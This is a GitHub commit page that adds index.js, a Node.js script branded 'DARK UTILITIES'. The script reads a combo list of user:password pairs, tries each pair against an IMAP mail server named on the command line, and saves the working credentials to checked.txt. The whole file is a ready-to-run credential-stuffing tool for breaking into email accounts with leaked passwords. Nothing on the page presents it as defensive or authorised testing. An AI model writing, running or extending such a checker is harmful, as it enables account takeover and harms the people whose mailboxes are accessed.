Skip to content

Commit

Permalink
Create index.js
Browse files Browse the repository at this point in the history
  • Loading branch information
Inplex-sys authored Sep 5, 2021
0 parents commit f9676e5
Showing 1 changed file with 72 additions and 0 deletions.
72 changes: 72 additions & 0 deletions index.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
const fs = require('fs');
const path = require('path');
const Imap = require('imap');
const chalk = require('chalk');

console.log(chalk.red(`
╔╦╗╔═╗╦═╗╦╔═ ╦ ╦╔╦╗╦╦ ╦╔╦╗╦╔═╗╔═╗
║║╠═╣╠╦╝╠╩╗ ║ ║ ║ ║║ ║ ║ ║║╣ ╚═╗
═╩╝╩ ╩╩╚═╩ ╩ ╚═╝ ╩ ╩╩═╝╩ ╩ ╩╚═╝╚═╝
The power on your side
`))

class Main {
static formatConsoleDate(date) {
var hour = date.getHours();
var minutes = date.getMinutes();
var seconds = date.getSeconds();
var milliseconds = date.getMilliseconds();

return '[' +
((hour < 10) ? '0' + hour : hour) +
':' +
((minutes < 10) ? '0' + minutes : minutes) +
':' +
((seconds < 10) ? '0' + seconds : seconds) +
'.' +
('00' + milliseconds).slice(-3) +
'] ';
}

static GetArgs() {
return process.argv.slice(2);
}
}

if (Main.GetArgs().length < 3) {
console.log(`${chalk.red("[ERROR]")} bad command usage
${chalk.yellow('Usage Sheme:')}
- user@some_name:~# node ${path.basename(__filename)} <server> <port> <file>
`);
process.exit(0);
}


fs.readFile("./" + Main.GetArgs()[2], "utf8", (err, data) => {
data.split("\r\n").forEach(item => {
var imap = new Imap({
user: item.split(":")[0],
password: item.split(":")[1],
host: Main.GetArgs()[0],
port: Main.GetArgs()[1],
tls: true
});

imap.once('ready', function() {
console.log(chalk.hex('#d6af42')(Main.formatConsoleDate(new Date())) + chalk.green(item.split(":")[0] + " Saved to checked.txt ."))
fs.appendFile('./checked.txt', `${item.split(":")[0]}:${item.split(":")[1]} \r\n`, function (err) {
if (err) return console.log(err);
});

imap.end();
});

imap.once('error', function(err) {
console.log(chalk.hex('#d6af42')(Main.formatConsoleDate(new Date())) + chalk.red(item.split(":")[0] + " error while connecting."))
imap.end();
});

imap.connect();
});
});

0 comments on commit f9676e5

Please sign in to comment.